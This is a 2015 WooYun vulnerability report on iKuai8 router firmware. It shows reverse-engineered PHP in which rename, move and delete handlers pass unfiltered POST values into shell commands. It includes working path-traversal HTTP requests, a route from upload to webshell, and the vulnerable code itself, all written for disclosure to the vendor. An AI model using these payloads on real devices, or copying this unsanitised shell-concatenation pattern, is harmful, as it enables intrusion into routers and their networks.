当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122633

漏洞标题:爱快流控路由最新版(iKuai8_2.4.4_Build20150604-17_41)固件漏洞挖掘分析之二

相关厂商:爱快免费流控路由

漏洞作者: Bear baby

提交时间:2015-06-25 09:55

修复时间:2015-09-23 14:34

公开时间:2015-09-23 14:34

漏洞类型:非授权访问

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-25: 细节已通知厂商并且等待厂商处理中
2015-06-25: 厂商已经确认,细节仅向厂商公开
2015-06-28: 细节向第三方安全合作伙伴开放
2015-08-19: 细节向核心白帽子及相关领域专家公开
2015-08-29: 细节向普通白帽子公开
2015-09-08: 细节向实习白帽子公开
2015-09-23: 细节向公众公开

简要描述:

固件版本:iKuai8_2.4.4_Build20150604-17_41
固件下载地址:http://patch.ikuai8.com/iso/iKuai8_2.4.4_Build20150604-17_41.iso
分析使用到的工具:EditPlus、DreamWeaver、Zend Studio、Ida Pro 6.1、BeyondCompare、Fiddler、中国菜刀、Kali、VisualStudio2010、vmware11等
注:本文基于逆向获取到的源文件进行分析。
本集要说的是任意文件操作那些事。。

详细说明:

任意文件操作
1、文件上传
爱快流控路由器系统在多个地方使用了文件上传功能如
系统设置-升级备份-版本升级
系统设置-升级备份-系统备份
认证计费-认证账号管理-账号管理
行为管理-分组管理-终端信息管理
行为管理-网站浏览控制-云安全
行为管理-网站浏览控制-本地拦截
等等十几处地方。
这些上传均使用/application/helpers/function_helper.php里面的ik_upload()函数进行上传。ik_upload()代码如下

/**
* 功能:上传文件
* 参数
* $obj : 提交$this 对象
* $file : 上传控件的名字
* $dir : 上传路径
* $filename : 上传的文件名
*
*/
function ik_upload($obj,$file='userfile',$dir,$filename=''){
/*
switch ($filename) {
case 'system.test':break;
case 'b.jpg':break;
default: echo "<script>alert('NO File!');</script>";exit;
}
*/
$config['upload_path'] = $dir;
$config['allowed_types'] = 'txt|bak|import|patch|lib|zip|rar'; //只允许上传类型
$config['file_name'] = $filename;
$config['overwrite'] = TRUE;
//print_r($config);exit;

$obj->load->library('upload', $config);
if (!$obj->upload->do_upload($file))
{
$data = array('error' => $obj->upload->display_errors());
}
else
{
$data = array('upload_data' => $obj->upload->data());
// echo "<script>alert('upload ok!');history.back();<//script>";
}
//print_r($data);
if(isset($data['error'])){
//echo "<script>alert('上传文件失败!');history.back();<//script>;";
return false;
}else{
return true;
}
}


该函数调用框架中CI_Upload do_upload进行文件上传处理,具体过程略过。知道有这些地方可以上传文件即可。
2、重命名、移动任意文件
接下来说明文件重命名的问题,该系统中共有三处用到重命名的功能。
分别是:
/application/controllers/Service/local_storage.php
/application/controllers/System/backup.php
/application/controllers/System/update.php
其中local_storage.php是服务中心里面的功能,但在系统中没有菜单,隐藏不体现可能是测试功能。update.php是升级备份中的版本升级功能页面,存在重命名功能,但在页面上也没体现,可能为遗留或者测试功能。backup.php是升级备份中的系统备份功能页面。
这几个页面的重命名函数均为save()代码如下:

//编辑保存
public function save(){
shellControl($this->shellmodel,'rename '.$_POST['old_bakname'].' '.$_POST['bakname'],'',false);
echo json_encode($_POST);
}


调用了shellControl函数执行重命名,shellControl在/application/helpers/db_helper.php中。
shellControl函数代码如下:

/* 
@功能:对shell命令的操作进行二次封装
@参数:
$model--对应模块
$shell--shell命令
$data --拼接数据
@返回:string or array
@data:20140211 by tian
>/dev/null 2>/dev/null &
*/
function shellControl($model,$shell,$data=array(),$return=true){ //默认有返回值的
if(!$data){
$str = '';
}else{
if(!is_array($data))return false;
$key = array_keys($data);
$val = array_values($data);
$str = '';
foreach($key as $k=>$v){
//$str .= $v.'="'.$val[$k].'" ';
$str .= $v."='".$val[$k]."' ";
}
}
$redirt = '>/dev/null 2>/dev/null &';
if(!$return){
ikExec($model,$shell." ".trim($str).' '.$redirt);//重定向没有返回值
//echo sqlMsg();exit;
}else{
$res = json_decode(ikExec($model,$shell." ".trim($str)),true);
}

return $return?$res:'ok';//暂时返回OK
}


从函数功能描述就可以看出调用shell命令来执行的,参数是通过拼接进行。该函数对命令及参数进行拼接处理,然后调用libikphp.so里面的ikExec来执行命令。这个函数涉及到命令执行漏洞,这边暂且不提,后面再进行分析,现在主要是讲文件重命名的问题。
save函数里面只有两个参数,都是POST来的。old_bakname 旧文件名,bakname 新文件名。由于这个函数没有对参数进行任何过滤等防护操作。所以我们可以通过控制这两个参数,来达到重命名任意文件的效果。如果参数里面添加路径参数,可以把文件移动到任意位置。看到这边,完全可以想到,通过上传文件-重命名为php,即可获取到webshell。
下面来验证一下:

漏洞证明:

1)重命名任意文件
首先使用前面的正向shell,在系统根目录创建一个文件test.txt

1.png


echo test>/test.txt


然后用Fiddler向系统备份页面POST一个修改文件名的请求。将根目录下的test.txt重命名为newtest.txt。如下

Request
POST http://192.168.1.1/System/backup/save HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/System/backup
Content-Length: 70
Cookie: PHPSESSID=e6b8bf28447de49246be1ee4b7876e49
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
bakname=..%2F..%2F..%2Fnewtest.txt&old_bakname=..%2F..%2F..%2Ftest.txt
RESPONSE
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.1
Content-Type: text/html;charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Date: Fri, 24 Apr 2015 08:23:14 GMT
Server: lighttpd/1.4.30
Content-Length: 74
{"bakname":"..\/..\/..\/newtest.txt","old_bakname":"..\/..\/..\/test.txt"}


ls一下看看文件名是否改变,如下图。test.txt已经成功变成newtest.txt

2.png


已经成功重命名根目录下面的文件。
2)移动任意文件
上面演示重命名任意文件,接下来看看移动任意文件,也是通过post文件名,区别在于改变新文件名的路径。我们把刚的newtest.txt移动到网页目录下abc.txt。
bakname=..%2F..%2F..%2Fusr%2Fikuai%2Fwww%2Fabc.txt&old_bakname=..%2F..%2F..%2Fnewtest.txt

3.png


3、删除任意文件
系统中共有两处地方涉及到,分别在
/application/controllers/System/backup.php
/application/controllers/System/update.php
函数名opera(),代码如下

//删除、恢复
function opera(){
$type = trim($_POST['type']);
switch($type){
case 'del':
shellControl($this->shellmodel,'del_bak '.$_POST['bakname']);//暂无返回值
echo json_encode(array("recode"=>'0','error'=>'ok'));
break;
case 'recover':
$res = shellControl($this->shellmodel,'restore '.$_POST['bakname']);
//print_r($data);exit;
if($res['res'] == '1'){
$data['recode'] = '0';
$data['recover'] = '1';
}else{
$data['recode'] = '100';
$data['error'] = '备份恢复失败!';
}
echo json_encode($data);
break;
}
}


问题和重命名一样,没有做任何处理,调用shell命令 删除 POST上来的bakname参数所指文件名,这边不在演示操作。
总结:
这个系统里面对文件的操作没有进行过滤,导致可以重命名、移动、删除。另外/application/controllers/Service/local_storage.php本地存储的页面,如下

4.png


可以进行文件上传、重命名、创建目录、列目录、获取硬盘信息等等,且和前面的一样,基本没什么过滤。可能页面不完善直接web操作有问题,通过Fiddler Post可以进行操作。

修复方案:

这个还是你们自己解决把···要去复习了。。不要恨我。

版权声明:转载请注明来源 Bear baby@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-25 14:33

厂商回复:

又来一波,争取一次处理完成,感谢白帽子兄弟,好好复习。。。

最新状态:

暂无